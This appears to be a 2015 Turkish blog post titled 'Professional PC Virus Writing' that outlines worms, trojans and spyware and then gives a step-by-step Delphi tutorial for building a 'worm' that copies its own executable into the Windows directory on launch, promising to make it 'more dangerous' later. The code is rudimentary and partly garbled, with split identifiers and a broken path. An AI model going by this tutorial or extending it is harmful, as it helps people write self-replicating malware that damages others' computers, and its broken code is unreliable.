16 Ocak 2015 Cuma

Profesyonel PC Virüsü Yazımı


   Bilgisayar virüsleri içerisinde zararlı kodlar bulunana ufak programlardır. Çalışma şekli bakımından biyolojik virüslere benzediği için bilgisayar virüsü olarak adlandırılmışlardır. Virüslerin çoğunun uzantısı çalıştırılabilir olan exe,com,scr,pif, vb. dosya tipleridir.Bilgisayar virüslerinin bir çok çeşidi bulunmaktadır bunların başlıcaları;

1) Worm (Solucan) virüsleri: Worm vürüslerinin genel özelliği internet üzerinden e-posta yoluyla bulaşmaları ve kendilerini defalarca kopyalayarak bilgisayarı yavaşlatıp çökertmeleridir, bir çok çeşidi bulunan worm virüslerinin her geçen gün sayısı ve çeşidi artmaktadır. Bu şekilde hızla değişim gösteren virüslerle mücadele etmek anti virüs şirketleri için oldukça zordur. Worm virüslerden korunmanın en iyi yolu, bilmediğiniz eposta eklentilerini açmamaktır.

2) Trogen Horse (Truva Atı) virüsleri: Trojen virüslerinin genel özelliği bulaştıkları bilgisayarda bir port açarak bilgisayar kullanıcısının özel bilgilerini ve şifrelerini internet bağlantısıyla dışarıya göndermesidir. Trojen virüslerinin dışarıya bilgi sızdırması, firewall (ateş duvarı) adı verilen internet bağlantısını denetleyen yazılımlarla engellenmeye çalışılmaktadır. Trojen virüslerinden korunmanın en iyi yolu güncel bir anti virüs yazılımı kullanmaktır.

3) Spy (Casus) virüsler: Spy virüslerin genel özelliği kullanıcının ziyaret ettiği internet adreslerini ve sosyal tercihlerini denetleyip gerekli yerlere rapor etmesidir. Spy virüsler genelde internet üzerinden müşterinin bilgilerini öğrenmek isteyen şirketler tarafından kullanılırlar. Birçok spy virüste kullanıcıyı reklam içeren sitelere yönlendirir ve internet bağlantımızı yavaşlatırlar. Bir çok çeşidi bulunan spy virüslerinden korunmanın en iyi yolu bir anti spy yazılımı kullanmaktır.

Buraya kadar bir virüs yazmak için bilinmesi gereken temel bilgileri ayrıntiya girmeden verdim, bu konuyla ilgili internet üzerinde ufak bir araştırmayla bir çok türkçe kaynak ve döküman bulabilirsiniz.

1) Bilgisayar Virüsü Yazımına Başlangıç:

Bu makalede sizlere temel bir worm (solucan) virüsü yazımını anlatacağım, daha sonra bu konudaki bilgilerinizi arttırıp solucanınızı geliştirerek güçlendirebilir, daha da tehlikeli hale getirebilirsiniz.

Solucanımızı geliştirmek için bir programlama dili kullanmamız gerekmektedir, bunun için bir çok programlama dili mevcuttur, bunların en belirginleri;

a) Microsoft Visual C#
b) Sun Microsystem JAVA
a) Borland Delphi
c) Microsoft Visual C++
d) Borland C++ Builder
e) Microsoft Visual Basic

Biz burada solucanımızı yazmak için Borland şirketinin Delphi programlama dilini kullanacağız. Daha sonraki makalelerimde Visual C# ve Java programlama dilleri içinde virüs yazımını anlatacağım.

Bunun için öncelikle bilgisayarımızda Borland Delphi programının olması gereklidir, Delphi'nin deneme sürümünü www.borland.com sitesinden indirebilirsiniz.

2) Solucanın Gövdesini Oluşturma:

Başlangıç olarak Borland Delphi programını çalıştıralım ve menüde bulunan File seçeneğiden New -> Application yolunu izleyerek yeni bir proje oluşturalım. Her Delphi projesi iki kısımdan oluşur;

a) Form1: Programımız çalıştığında görülecek ön yüzdür.
b) Unit1: İçerisine Delphi kodlarını yazacağımız kod penceresidir.


Artık solucanımızın kodlarını yazmaya başlayabiliriz.

Eğer kaynak kodlarına bakarsak(Unit1) biz hiç bir şey yapmadığımız halde Delphi’nin solucanımızın gövdesini aşağıdaki şekilde oluşturduğunu görürüz. Bu kodlar programın çalışmasını sağlayan, bizim için Delphi tarafından oluşturulmuş gerekli tanımlama komutlarıdır. Eğer herhangi birini silersek solucanımız çalışmaz.
//------------------------------------------------------------------------------------------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
private
{ Private declarations }
{Bu aralıkta fonksiyonlarımızın ön tanımlamasını yapacağız}
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{İşte biz kodlarımızı bu aralığa yazacağız}
end.
//-------------------------------------------------------------------------------------------

3) Solucanımıza Çoğalma(Kolonlama) Yeteneğini Kazandırma:

   Solucan (Worm) viruslerinin en belirgin özelliği kendilerini bilgisayarın bir çok dizinine defalarca kopyalamalarıdır. Solucanımızın kendini hangi isimle ve hangi dizinlere kopyalayacağı tamamen sizin tercihinizdir. Bunun için öncelikler solucanımıza bir isim ve uzantı (exe,com,bat,pif,scr, vb.) belirlememiz gerekir. Bütün virüslerin temel özelliği executeable (çalıştırabilir) türden dosyalar olmasıdır, örneğin solucanımıza “ .jpg” uzantısını verirsek Windows işletim sistemi bunu bir resim dosyası olarak algılayacak ve resim göstericisini çalıştıracaktır. Böylece bir hata mesajı alınacak ve solucanımız hiçbir işe yaramayacaktır. Bunun için solucanımız Windows işletim sisteminin direk çalıştıracağı bir uzantıda olması gereklidir. Bunların başlıcaları ;

.exe (EXEcuteable)
.com (COMmand )
.bat (BAtch Files)
.pif (Program Information File)
.scr (SCReen saver)

   Öncelikle solucanımızın kendi kendini kolonlamasını istediğimiz için Colon isimli bir procedure oluşturalım, fakat Delphi'de her fonksiyon ve procedure için ön tanımlama yapılması gereklidir. Bunun için solucanımızın gövdesindeki private-public aralığına aşağıdaki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
procedure Colon(solucan,dizin: string);
//--------------------------------------------------------------------------------------------
Böylece Delphi’ e Colon procedure'mizi tanıtmış olduk.


Daha sonra aşağıdaki procedure kodlarını solucanımın gövdesinde {$R*.dfm}-end. aralığına ekleyelim,
// -------------------------------------------------------------------------------------------
procedure TForm1.Colon(solucan,dizin: string);
var
FileStream: TStream;
ColonStream: TStream;

begin
{Solucanımızın ismi solucan değişkeninden okunuyor.}
try
FileStream := TFileStream.Create(solucan,fmO penRead);
{Solucanımız Kendisini aynı isimle dizine kopyalıyor.}
try
ColonStream := TFileStream.Create(dizin, fmCreate);
ColonStream.CopyFrom(FileStrea m,FileStream.Size);
finally
ColonStream.Free;
end;
finally
FileStream.Free;
end;
end;
// -------------------------------------------------------------------------------------------


Daha sonra Object Inspector penceresinde Form1->Events->OnCreate kutucuğuna çift tıklayalım. böylece Delphi bizim için aşağıdaki kod bloğunu oluşturur.
//--------------------------------------------------------------------------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
{Solucanımız ilk çalışınca yapmasını istediklerimizi bu aralığa yazacağız.}
end;
//--------------------------------------------------------------------------------------------


BU blok içersindeki begin-end; aralığına aşağıdaki kodu ekleyelim;
//--------------------------------------------------------------------------------------------
{solucan.exe isimli solucanımız windows dizinine kopyalanıyor.}
Colon('solucan.exe','c:window ssolucan.exe');
//--------------------------------------------------------------------------------------------
Böylece solucanımız çalıştığında(OnCreate) ilk olarak Colon procedure'i çalıştırarak kendini windows dizinine kopyalar. Bu aşamadan sonra artık F9 veya Run butonuna basarak kodlarımızı derlememiz gerekir. Fakat bunu yaparsak Delphi kopyalamak için "solucan.exe" arar ve bulamadığı için de hata verir. Biz ilk
önce yeni bir klasör açalım ve bütün bu yazdığımız kodları Menüden File->Save Project As... yoluyla bu klasörün içersine kaydedelim. Daha sonra bu klasörün içine konu mankeni bir "solucan.exe" koyalım, ben "notepad.exe" buraya kopyalayıp adını "solucan.exe" olarak değiştirdim. Şimdi artık Delphi'den solucanımızın kodlarını derleyelim, klasörümüzün içinde "project1.exe" ismiyle oluşan exe solucanımızdır

Bundan sonra artık "solucan.exe" 'i silip "project1.exe" 'nin adını solucan olarak değiştirebiliriz..


Blogumuza Abone Olun
Yeni Yazılar e-posta Adresinize Gelsin

Hiç yorum yok:

Yorum Gönder